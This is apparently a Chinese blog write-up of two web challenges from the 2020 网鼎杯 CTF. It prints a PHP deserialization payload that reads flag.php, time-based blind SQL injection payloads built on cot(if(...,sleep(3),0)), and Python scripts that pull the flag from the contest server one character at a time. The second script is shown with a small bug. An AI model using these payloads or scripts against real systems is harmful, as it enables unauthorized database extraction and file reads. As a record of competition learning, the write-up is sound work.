我的联系方式
微信Anylike830919
QQ1012001832
邮箱fixaapp@163.com
2020-05-10 13:32:33ans
2020网鼎杯Writeup+闲扯
这是我打的最难受的一次比赛,最后一分钟脚本跑出flag居然是错的,导致队伍没进线下……
唉,归根结底还是自己太菜,这样的结果实在太难顶了
这回web放的很晚,中午才放,一共就看了俩题,两个还都挺奇怪的
第一个题打开之后给了源码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
首先看见的是protected类型的成员变量,反序列化的话成员名的字符串会在头部添加””\00*\00”的字样,但是这部分代码把\0给过滤掉了
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
尝试了很久也没能绕过去,无论怎么写都是”Bad Hacker”,第一步都过不去
后来得知payload是:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:62:"php://filter/convert.base64-encode/resource=/web/html/flag.php";s:7:"content";s:0:"";}
???
这不是public类型的成员变量的反序列化写法吗?
然后试着打了一下:
还真成了。。
然而这个方法在本地都无法复现。。实在不清楚背后的原理,也可能是展示出来的代码和实际服务端的代码并不一致吧
第二题是道sql注入,也就是造成悲剧的罪魁祸首。。
打开是个注册页面
注册完了会有两个回显,一是Success,二是Mysql Error,分别代表成功注册和执行出错
试了下,过滤了#和—,但是可以用or ‘1’=’1闭合:
那么这道题思路就比较清晰了,构造一个盲注查询语句,使其正确(或错误)时返回Success,反之则触发语法错误或其他错误造成Mysql Error的回显,这样构成盲注
本以为是道简单题,但是查询了若干次之后突然回显发生变化:
原来没执行一次都会Insert一个记录,而row size限制了最大值为20,也就是插20次就没法继续查了
20次肯定是没法查完flag的,所以要改变查询的思路:
1.必须做到能够查20次以上,所以考虑有两种方法,一是查一次删一次,这个显然不太现实,二是构造错误使得查询可以执行但是插入操作失败
2.既然每次插入操作都要失败,那么就无法通过Success和Mysql Error来盲注了,所以要引入时间盲注
3.综合上面两条,思路就出来了:
(1)查询结果为真(假),则延时3秒,同时要执行出错使得插入无法正确执行
(2)查询结果为假(真),则无延时,同时要执行出错使得插入无法正确执行
首先让插入无法正确执行必须是“执行出错”,而非“语法出错”,因为语法错无论怎样都会返回错误,也不会执行查询和延时。
怎样才能做到这一点呢,使执行出错而语法正确的方式有很多,比较简单的有下面几种:
整数溢出:cot(0),pow(999999,999999),exp(710)
几何函数:polygon(ans),linestring(ans)
想通过报错与否进行盲注可有如下语句:
select * from xxx where ‘1’=’1’ and 表达式 or cot(0)
如果表达式为真,由于or的判断规则,不会去解析cot(0)
如果表达式为假,则要判断cot(0)的真假,于是就会报错:
可用这个简单的方式进行报错的盲注。
但是要进行sleep(x)的话,这种方式就很难了,用select * from xxx where ‘1’=’1’ and sleep(0) or cot(0)是无法延时的。
但是sleep()本身是有返回值的,它的返回值为0,所以也许可以通过这一点来构造语句。
如果以cot(表达式)的形式来进行盲注的话,那么恰好可以满足我们之前的需求。
我们只要让表达式的值恒为0,则可保证不插入数据,且表达式中的sleep(x)是必然会执行来得到返回值的。
我们只要设置if(表达式,sleep(3),0),就可以使返回值必然为0,且在表达式为真时延时3秒。
以此方式去注入,很快能得到数据库名为’ctf’,但是再往下获得表名的时候过滤了information_schema.tables。
insert into xxx values(‘1’ and cot(if(select table_name from information_schema.tables where table_schema=database() LIMIT 1,1) like “%”,sleep(3),0)) and ‘1’=’1’,’asd’);
通常情况下,能代替information_schema.tables的有以下几种:
innodb_table_stats、innodb_index_stats:Mysql5.7后Innodb引擎会将表、键的信息记录在这两张表中
sys.schema_table_statistics_with_buffer、sys.schema_auto_increment_columns:查询表统计信息,可能存在表名
尝试绕过:
insert into users values(‘1’ and cot(if(select table_name from sys.schema_auto_increment_columns where table_schema=database() LIMIT 1,1) like “%”,sleep(3),0)) and ‘1’=’1’,’asd’,’asd’,’asd’,’asd’);
上述方法均无法延时,比赛时一直不懂,后来明白了原因:这些表都是空表,所以表达式为假,不执行sleep(3)
所以只能猜flag表名,用别名代替列名的方式去注入:
username=1' and cot(if(ascii(mid((select `2` from (select 1,2 union select * from flag)b limit 1,1),1,1))>0,sleep(3),0)) and '1'='1&password='asd'
成功延时。
于是可写脚本注入:
import requests
import datetime
import sys
name=''
url = "http://1478f8b621c445498bb63495ceb4ff430fe7591a22e34db6.cloudgame1.ichunqiu.com/register_do.php"
for j in range(1, 100):
for i in range(32,127):
payload = "1' and cot(if(ascii(mid((select `2` from (select 1,2 union select * from flag)b limit 1,1),%d,1))=%d,sleep(3),0)) and '1'='1" % (j,i)
start_time = datetime.datetime.now()
res = requests.post(url=url, data={'username': payload, 'password': 'asd'})
end_time = datetime.datetime.now()
interval = (end_time - start_time).seconds
if interval > 2 :
print(chr(i))
name += chr(i)
break
print(name)
比赛时最后还有十几分钟的时候才找到了成功的payload,写优化脚本已经来不及了
还好在最后1分钟跑出了完整的flag,当时只要做出这道题就能一下前进100多名进入线下,本以为稳了,跑出结果:
flag{d662be48-6616-421d-97e8-b0c8876fe15bc}
立刻提交——
“答案错误。”
???!!!!纳尼???!!!
还剩一分钟,重新跑一遍已经来不及了……
就这么……无缘线下了。
淦!
最后比赛结束后,不甘心的我又跑了一遍,得到了这个结果:
flag{d662be48-6616-421d-97e8-b0c886fe15bc}
比上面少了一个7,那个7大概是因为网络不稳定导致延时比较大算进去了吧……
不过这次也买了个教训,经协会方方大佬的指导,对脚本作了一点改进,完全不用便利ascii码表,只把可能的字符”abcdef1234567980-_{}”遍历一遍即可,能大大加快速度:
import requests
import datetime
import sys
name=''
url = "http://1478f8b621c445498bb63495ceb4ff430fe7591a22e34db6.cloudgame1.ichunqiu.com/register_do.php"
for j in range(1, 100):
for i in "abcdef1234567890_-{}":
payload = "1' and cot(if(ascii(mid((select `2` from (select 1,2 union select * from flag)b limit 1,1),%d,1))=%d,sleep(3),0)) and '1'='1" % (j,ord(i))
start_time = datetime.datetime.now()
res = requests.post(url=url, data={'username': payload, 'password': 'asd'})
end_time = datetime.datetime.now()
interval = (end_time - start_time).seconds
if interval > 2 :
print(chr(i))
name += chr(i)
break
print(name)
唉,这次经历还是很难受。。就差一点点,接下来就要全力准备考研了,也没有多少时间去打ctf了,真的蛮可惜的。